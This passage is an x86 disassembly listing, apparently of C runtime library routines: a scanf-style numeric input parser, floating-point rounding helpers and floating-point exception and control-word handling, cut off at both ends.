mov [edx], al
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_42B2D0
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_42AC7C
; ---------------------------------------------------------------------------
loc_42AD17: ; CODE XREF: sub_429E90+E2Fj
; sub_429E90+E3Fj
movsx ecx, ds:byte_453DF4
movsx edx, byte ptr [ebp+var_1D8]
cmp ecx, edx
jnz loc_42AE14
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz loc_42AE14
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_42B2D0
add esp, 4
mov [ebp+var_1D8], eax
mov ecx, [ebp+var_1E0]
mov dl, ds:byte_453DF4
mov [ecx], dl
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
loc_42AD79: ; CODE XREF: sub_429E90+F7Fj
cmp ds:dword_453DF0, 1
jle short loc_42AD9B
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_427040
add esp, 8
mov [ebp+var_21C], eax
jmp short loc_42ADB5
; ---------------------------------------------------------------------------
loc_42AD9B: ; CODE XREF: sub_429E90+EF0j
mov edx, [ebp+var_1D8]
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_21C], ecx
loc_42ADB5: ; CODE XREF: sub_429E90+F09j
cmp [ebp+var_21C], 0
jz short loc_42AE14
mov edx, [ebp+var_1C]
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
test edx, edx
jz short loc_42AE14
mov ecx, [ebp+var_6C]
add ecx, 1
mov [ebp+var_6C], ecx
mov edx, [ebp+var_1E0]
mov al, byte ptr [ebp+var_1D8]
mov [edx], al
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_42B2D0
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_42AD79
; ---------------------------------------------------------------------------
loc_42AE14: ; CODE XREF: sub_429E90+E97j
; sub_429E90+EABj ...
cmp [ebp+var_6C], 0
jz loc_42AF79
cmp [ebp+var_1D8], 65h
jz short loc_42AE34
cmp [ebp+var_1D8], 45h
jnz loc_42AF79
loc_42AE34: ; CODE XREF: sub_429E90+F95j
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
test ecx, ecx
jz loc_42AF79
mov eax, [ebp+var_1E0]
mov byte ptr [eax], 65h
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_42B2D0
add esp, 4
mov [ebp+var_1D8], eax
cmp [ebp+var_1D8], 2Dh
jnz short loc_42AE9E
mov ecx, [ebp+var_1E0]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
jmp short loc_42AEA7
; ---------------------------------------------------------------------------
loc_42AE9E: ; CODE XREF: sub_429E90+FF2j
cmp [ebp+var_1D8], 2Bh
jnz short loc_42AEDD
loc_42AEA7: ; CODE XREF: sub_429E90+100Cj
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jnz short loc_42AEC2
mov edx, [ebp+var_1C]
add edx, 1
mov [ebp+var_1C], edx
jmp short loc_42AEDD
; ---------------------------------------------------------------------------
loc_42AEC2: ; CODE XREF: sub_429E90+1025j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42B2D0
add esp, 4
mov [ebp+var_1D8], eax
loc_42AEDD: ; CODE XREF: sub_429E90+1015j
; sub_429E90+1030j ...
cmp ds:dword_453DF0, 1
jle short loc_42AEFF
push 4
mov edx, [ebp+var_1D8]
push edx
call sub_427040
add esp, 8
mov [ebp+var_220], eax
jmp short loc_42AF1A
; ---------------------------------------------------------------------------
loc_42AEFF: ; CODE XREF: sub_429E90+1054j
mov eax, [ebp+var_1D8]
mov ecx, ds:off_453BE4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_220], edx
loc_42AF1A: ; CODE XREF: sub_429E90+106Dj
cmp [ebp+var_220], 0
jz short loc_42AF79
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz short loc_42AF79
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
mov eax, [ebp+var_1E0]
mov cl, byte ptr [ebp+var_1D8]
mov [eax], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42B2D0
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_42AEDD
; ---------------------------------------------------------------------------
loc_42AF79: ; CODE XREF: sub_429E90+F88j
; sub_429E90+F9Ej ...
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_42B330
add esp, 8
cmp [ebp+var_6C], 0
jz short loc_42AFD3
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_42AFD1
mov eax, [ebp+var_34]
add eax, 1
mov [ebp+var_34], eax
mov ecx, [ebp+var_1E0]
mov byte ptr [ecx], 0
lea edx, [ebp+var_1D0]
push edx
mov eax, [ebp+var_3C]
push eax
movsx ecx, [ebp+var_38]
sub ecx, 1
push ecx
call ds:off_454198
add esp, 0Ch
loc_42AFD1: ; CODE XREF: sub_429E90+1111j
jmp short loc_42AFD8
; ---------------------------------------------------------------------------
loc_42AFD3: ; CODE XREF: sub_429E90+1109j
jmp loc_42B17A
; ---------------------------------------------------------------------------
loc_42AFD8: ; CODE XREF: sub_429E90:loc_42AFD1j
jmp short loc_42B024
; ---------------------------------------------------------------------------
loc_42AFDA: ; CODE XREF: sub_429E90+3B0j
; sub_429E90+3C4j
; DATA XREF: ...
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
cmp eax, [ebp+var_1D8]
jz short loc_42B00A
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_42B330
add esp, 8
jmp loc_42B17A
; ---------------------------------------------------------------------------
loc_42B00A: ; CODE XREF: sub_429E90+1157j
mov cl, [ebp+var_28]
sub cl, 1
mov [ebp+var_28], cl
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_42B024
mov eax, [ebp+var_1D4]
mov [ebp+arg_8], eax
loc_42B024: ; CODE XREF: sub_429E90:loc_42A686j
; sub_429E90:loc_42ABEDj ...
mov cl, [ebp+var_28]
add cl, 1
mov [ebp+var_28], cl
jmp short loc_42B050
; ---------------------------------------------------------------------------
loc_42B02F: ; CODE XREF: sub_429E90+38Bj
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_42B330
add esp, 8
jmp loc_42B17A
; ---------------------------------------------------------------------------
loc_42B050: ; CODE XREF: sub_429E90+119Dj
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
jmp loc_42B151
; ---------------------------------------------------------------------------
loc_42B05E: ; CODE XREF: sub_429E90+11Dj
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov esi, edx
mov eax, [ebp+arg_0]
push eax
call sub_42B2D0
add esp, 4
mov [ebp+var_1D8], eax
mov ecx, [ebp+var_1D8]
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
cmp esi, ecx
jz short loc_42B0B6
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_42B330
add esp, 8
jmp loc_42B17A
; ---------------------------------------------------------------------------
loc_42B0B6: ; CODE XREF: sub_429E90+1203j
mov eax, [ebp+var_1D8]
and eax, 0FFh
mov ecx, ds:off_453BE4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_42B151
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov esi, edx
mov eax, [ebp+arg_0]
push eax
call sub_42B2D0
add esp, 4
mov [ebp+var_1F4], eax
mov ecx, [ebp+var_1F4]
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
cmp esi, ecx
jz short loc_42B148
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1F4]
push edx
call sub_42B330
add esp, 8
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_42B330
add esp, 8
jmp short loc_42B17A
; ---------------------------------------------------------------------------
loc_42B148: ; CODE XREF: sub_429E90+127Cj
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
loc_42B151: ; CODE XREF: sub_429E90+11C9j
; sub_429E90+1245j
cmp [ebp+var_1D8], 0FFFFFFFFh
jnz short loc_42B175
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 25h
jnz short loc_42B173
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+1]
cmp ecx, 6Eh
jz short loc_42B175
loc_42B173: ; CODE XREF: sub_429E90+12D4j
jmp short loc_42B17A
; ---------------------------------------------------------------------------
loc_42B175: ; CODE XREF: sub_429E90+12C8j
; sub_429E90+12E1j
jmp loc_429F07
; ---------------------------------------------------------------------------
loc_42B17A: ; CODE XREF: sub_429E90+80j
; sub_429E90+635j ...
cmp [ebp+var_1D8], 0FFFFFFFFh
jnz short loc_42B1AE
cmp [ebp+var_34], 0
jnz short loc_42B19D
movsx edx, [ebp+var_28]
test edx, edx
jnz short loc_42B19D
mov [ebp+var_224], 0FFFFFFFFh
jmp short loc_42B1A6
; ---------------------------------------------------------------------------
loc_42B19D: ; CODE XREF: sub_429E90+12F7j
; sub_429E90+12FFj
mov eax, [ebp+var_34]
mov [ebp+var_224], eax
loc_42B1A6: ; CODE XREF: sub_429E90+130Bj
mov eax, [ebp+var_224]
jmp short loc_42B1B1
; ---------------------------------------------------------------------------
loc_42B1AE: ; CODE XREF: sub_429E90+12F1j
mov eax, [ebp+var_34]
loc_42B1B1: ; CODE XREF: sub_429E90+131Cj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_429E90 endp
; ---------------------------------------------------------------------------
off_42B1B8 dd offset loc_42A14A ; DATA XREF: sub_429E90+239r
dd offset loc_42A0D0
dd offset loc_42A0E8
dd offset loc_42A12C
dd offset loc_42A0D5
dd offset loc_42A137
dd offset loc_42A13F
dd offset loc_42A155
byte_42B1D8 db 0 ; DATA XREF: sub_429E90+233r
db 3 dup(7)
dd 6 dup(7070707h), 2070701h, 7030707h, 7070701h, 5 dup(7070707h)
dd 7040707h, 7050707h, 2 dup(7070707h)
db 7, 6
off_42B226 dd offset loc_42A25B ; DATA XREF: sub_429E90+3C4r
dd offset loc_42A794
dd offset loc_42AC07
dd offset loc_42A68B
dd offset loc_42ABF2
dd offset loc_42A790
dd offset loc_42A2A1
dd offset loc_42A692
dd offset loc_42A2C6
dd offset loc_42AFDA
byte_42B24E db 0 ; DATA XREF: sub_429E90+3BEr
db 1
dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B270 proc near ; CODE XREF: sub_429E90+9E9p
; sub_429E90+BCCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
cmp ds:dword_453DF0, 1
jle short loc_42B292
push 4
mov eax, [ebp+arg_0]
push eax
call sub_427040
add esp, 8
mov [ebp+var_4], eax
jmp short loc_42B2A7
; ---------------------------------------------------------------------------
loc_42B292: ; CODE XREF: sub_42B270+Dj
mov ecx, [ebp+arg_0]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_4], eax
loc_42B2A7: ; CODE XREF: sub_42B270+20j
cmp [ebp+var_4], 0
jz short loc_42B2B5
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
jmp short loc_42B2C1
; ---------------------------------------------------------------------------
loc_42B2B5: ; CODE XREF: sub_42B270+3Bj
mov edx, [ebp+arg_0]
and edx, 0FFFFFFDFh
sub edx, 7
mov [ebp+var_8], edx
loc_42B2C1: ; CODE XREF: sub_42B270+43j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_42B270 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B2D0 proc near ; CODE XREF: sub_429E90+370p
; sub_429E90+698p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_0]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jl short loc_42B30B
mov ecx, [ebp+arg_0]
mov edx, [ecx]
movsx eax, byte ptr [edx]
and eax, 0FFh
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_42B31A
; ---------------------------------------------------------------------------
loc_42B30B: ; CODE XREF: sub_42B2D0+1Aj
mov ecx, [ebp+arg_0]
push ecx
call sub_427100
add esp, 4
mov [ebp+var_4], eax
loc_42B31A: ; CODE XREF: sub_42B2D0+39j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42B2D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B330 proc near ; CODE XREF: sub_429E90+ECp
; sub_429E90+666p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_42B349
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_431E10
add esp, 8
loc_42B349: ; CODE XREF: sub_42B330+7j
pop ebp
retn
sub_42B330 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B350 proc near ; CODE XREF: sub_429E90+E3p
; sub_429E90+353p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
loc_42B354: ; CODE XREF: sub_42B350+30j
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_4]
push eax
call sub_42B2D0
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_421940
add esp, 4
test eax, eax
jz short loc_42B382
jmp short loc_42B354
; ---------------------------------------------------------------------------
loc_42B382: ; CODE XREF: sub_42B350+2Ej
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42B350 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_42B390(double)
sub_42B390 proc near ; CODE XREF: sub_41FFF0+C3p
; sub_420210+C3p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42B390 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_42B3B0(int,double,int)
sub_42B3B0 proc near ; CODE XREF: sub_41FFF0+85p
; sub_420210+85p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp ds:dword_454450, 0
jnz short loc_42B3E4
mov eax, [ebp+arg_C]
push eax ; int
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+arg_4]
push edx ; double
push 0 ; int
push 0 ; int
mov eax, [ebp+10h]
push eax ; int
mov ecx, [ebp+arg_4]
push ecx ; int
mov edx, [ebp+arg_0]
push edx ; int
push 1 ; int
call sub_42BE60
add esp, 24h
jmp short loc_42B403
; ---------------------------------------------------------------------------
loc_42B3E4: ; CODE XREF: sub_42B3B0+Aj
call sub_429A90
mov dword ptr [eax], 21h
push 0FFFFh
mov eax, [ebp+arg_C]
push eax
call sub_42C2F0
add esp, 8
fld qword ptr [ebp+arg_4]
loc_42B403: ; CODE XREF: sub_42B3B0+32j
pop ebp
retn
sub_42B3B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
fld qword ptr [ebp+0Ch]
fadd qword ptr [ebp+14h]
fstp qword ptr [ebp-8]
cmp ds:dword_454450, 0
jnz short loc_42B454
mov eax, [ebp+1Ch]
push eax
mov ecx, [ebp-4]
push ecx
mov edx, [ebp-8]
push edx
mov eax, [ebp+18h]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
push 1
call sub_42BE60
add esp, 24h
jmp short loc_42B473
; ---------------------------------------------------------------------------
loc_42B454: ; CODE XREF: _0:0042B426j
call sub_429A90
mov dword ptr [eax], 21h
push 0FFFFh
mov edx, [ebp+1Ch]
push edx
call sub_42C2F0
add esp, 8
fld qword ptr [ebp-8]
loc_42B473: ; CODE XREF: _0:0042B452j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_42B480(int,int,int,int,double,int)
sub_42B480 proc near ; CODE XREF: sub_41FFF0+B1p
; sub_41FFF0+129p ...
var_5C = byte ptr -5Ch
var_24 = dword ptr -24h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
mov eax, [ebp+arg_18]
push eax
lea ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42BAE0
add esp, 0Ch
test eax, eax
jnz short loc_42B4C6
mov eax, [ebp+var_24]
and al, 0FEh
mov [ebp+var_24], eax
lea ecx, [ebp+arg_10]
push ecx
lea edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
lea edx, [ebp+arg_18]
push edx
lea eax, [ebp+var_5C]
push eax
call sub_42B610
add esp, 18h
loc_42B4C6: ; CODE XREF: sub_42B480+1Cj
mov ecx, [ebp+arg_0]
push ecx
call sub_42BF80
add esp, 4
mov [ebp+var_4], eax
cmp ds:dword_454450, 0
jnz short loc_42B50E
cmp [ebp+var_4], 0
jz short loc_42B50E
mov edx, [ebp+arg_18]
push edx ; int
mov eax, dword ptr [ebp+arg_10+4]
push eax
mov ecx, dword ptr [ebp+arg_10]
push ecx ; double
push 0 ; int
push 0 ; int
mov edx, [ebp+arg_C]
push edx ; int
mov eax, [ebp+arg_8]
push eax ; int
mov ecx, [ebp+arg_4]
push ecx ; int
mov edx, [ebp+var_4]
push edx ; int
call sub_42BE60
add esp, 24h
jmp short loc_42B52E
; ---------------------------------------------------------------------------
loc_42B50E: ; CODE XREF: sub_42B480+5Cj
; sub_42B480+62j
mov eax, [ebp+var_4]
push eax
call sub_42BF00
add esp, 4
push 0FFFFh
mov ecx, [ebp+arg_18]
push ecx
call sub_42C2F0
add esp, 8
fld [ebp+arg_10]
loc_42B52E: ; CODE XREF: sub_42B480+8Cj
mov esp, ebp
pop ebp
retn
sub_42B480 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 5Ch
mov eax, [ebp+28h]
push eax
lea ecx, [ebp+20h]
push ecx
mov edx, [ebp+8]
push edx
call sub_42BAE0
add esp, 0Ch
test eax, eax
jnz short loc_42B59E
mov eax, [ebp-24h]
or al, 1
mov [ebp-24h], eax
mov ecx, [ebp-24h]
and ecx, 0FFFFFFE1h
or ecx, 2
mov [ebp-24h], ecx
mov edx, [ebp+18h]
mov [ebp-34h], edx
mov eax, [ebp+1Ch]
mov [ebp-30h], eax
lea ecx, [ebp+20h]
push ecx
lea edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
lea edx, [ebp+28h]
push edx
lea eax, [ebp-5Ch]
push eax
call sub_42B610
add esp, 18h
loc_42B59E: ; CODE XREF: _0:0042B55Cj
mov ecx, [ebp+8]
push ecx
call sub_42BF80
add esp, 4
mov [ebp-4], eax
cmp ds:dword_454450, 0
jnz short loc_42B5EA
cmp dword ptr [ebp-4], 0
jz short loc_42B5EA
mov edx, [ebp+28h]
push edx
mov eax, [ebp+24h]
push eax
mov ecx, [ebp+20h]
push ecx
mov edx, [ebp+1Ch]
push edx
mov eax, [ebp+18h]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp-4]
push ecx
call sub_42BE60
add esp, 24h
jmp short loc_42B60A
; ---------------------------------------------------------------------------
loc_42B5EA: ; CODE XREF: _0:0042B5B4j _0:0042B5BAj
mov edx, [ebp-4]
push edx
call sub_42BF00
add esp, 4
push 0FFFFh
mov eax, [ebp+28h]
push eax
call sub_42C2F0
add esp, 8
fld qword ptr [ebp+20h]
loc_42B60A: ; CODE XREF: _0:0042B5E8j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B610 proc near ; CODE XREF: sub_42B480+3Ep
; _0:0042B596p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+8], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+0Ch], 0
mov eax, [ebp+arg_8]
and eax, 10h
test eax, eax
jz short loc_42B654
mov [ebp+var_4], 0C000008Fh
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_42B654: ; CODE XREF: sub_42B610+2Cj
mov ecx, [ebp+arg_8]
and ecx, 2
test ecx, ecx
jz short loc_42B673
mov [ebp+var_4], 0C0000093h
mov edx, [ebp+arg_0]
mov eax, [edx+4]
or al, 2
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
loc_42B673: ; CODE XREF: sub_42B610+4Cj
mov edx, [ebp+arg_8]
and edx, 1
test edx, edx
jz short loc_42B693
mov [ebp+var_4], 0C0000091h
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, 4
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_42B693: ; CODE XREF: sub_42B610+6Bj
mov eax, [ebp+arg_8]
and eax, 4
test eax, eax
jz short loc_42B6B3
mov [ebp+var_4], 0C000008Eh
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, 8
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_42B6B3: ; CODE XREF: sub_42B610+8Bj
mov ecx, [ebp+arg_8]
and ecx, 8
test ecx, ecx
jz short loc_42B6D2
mov [ebp+var_4], 0C0000090h
mov edx, [ebp+arg_0]
mov eax, [edx+4]
or al, 10h
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
loc_42B6D2: ; CODE XREF: sub_42B610+ABj
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 1
neg eax
sbb eax, eax
inc eax
and eax, 1
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
and edx, 0FFFFFFEFh
or edx, eax
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 4
neg edx
sbb edx, edx
inc edx
and edx, 1
shl edx, 3
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 0FFFFFFF7h
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [eax]
and ecx, 8
neg ecx
sbb ecx, ecx
inc ecx
and ecx, 1
shl ecx, 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
and al, 0FBh
or eax, ecx
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 10h
neg eax
sbb eax, eax
inc eax
and eax, 1
shl eax, 1
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
and edx, 0FFFFFFFDh
or edx, eax
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 20h
neg edx
sbb edx, edx
inc edx
and edx, 1
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 0FFFFFFFEh
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+8], ecx
call sub_42C2B0
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
and eax, 1
test eax, eax
jz short loc_42B7A2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
or edx, 10h
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
loc_42B7A2: ; CODE XREF: sub_42B610+181j
mov ecx, [ebp+var_8]
and ecx, 4
test ecx, ecx
jz short loc_42B7BA
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
or al, 8
mov ecx, [ebp+arg_0]
mov [ecx+0Ch], eax
loc_42B7BA: ; CODE XREF: sub_42B610+19Aj
mov edx, [ebp+var_8]
and edx, 8
test edx, edx
jz short loc_42B7D3
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
or ecx, 4
mov edx, [ebp+arg_0]
mov [edx+0Ch], ecx
loc_42B7D3: ; CODE XREF: sub_42B610+1B2j
mov eax, [ebp+var_8]
and eax, 10h
test eax, eax
jz short loc_42B7EC
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
or edx, 2
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
loc_42B7EC: ; CODE XREF: sub_42B610+1CBj
mov ecx, [ebp+var_8]
and ecx, 20h
test ecx, ecx
jz short loc_42B804
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+arg_0]
mov [ecx+0Ch], eax
loc_42B804: ; CODE XREF: sub_42B610+1E4j
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 0C00h
mov [ebp+var_C], eax
cmp [ebp+var_C], 800h
ja short loc_42B834
cmp [ebp+var_C], 800h
jz short loc_42B84E
cmp [ebp+var_C], 0
jz short loc_42B872
cmp [ebp+var_C], 400h
jz short loc_42B860
jmp short loc_42B87F
; ---------------------------------------------------------------------------
loc_42B834: ; CODE XREF: sub_42B610+208j
cmp [ebp+var_C], 0C00h
jz short loc_42B83F
jmp short loc_42B87F
; ---------------------------------------------------------------------------
loc_42B83F: ; CODE XREF: sub_42B610+22Bj
mov ecx, [ebp+arg_0]
mov edx, [ecx]
or edx, 3
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_42B87F
; ---------------------------------------------------------------------------
loc_42B84E: ; CODE XREF: sub_42B610+211j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFFFFFCh
or edx, 2
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_42B87F
; ---------------------------------------------------------------------------
loc_42B860: ; CODE XREF: sub_42B610+220j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFFFFFCh
or edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_42B87F
; ---------------------------------------------------------------------------
loc_42B872: ; CODE XREF: sub_42B610+217j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFFFFFCh
mov eax, [ebp+arg_0]
mov [eax], edx
loc_42B87F: ; CODE XREF: sub_42B610+222j
; sub_42B610+22Dj ...
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 300h
mov [ebp+var_10], edx
cmp [ebp+var_10], 0
jz short loc_42B8C8
cmp [ebp+var_10], 200h
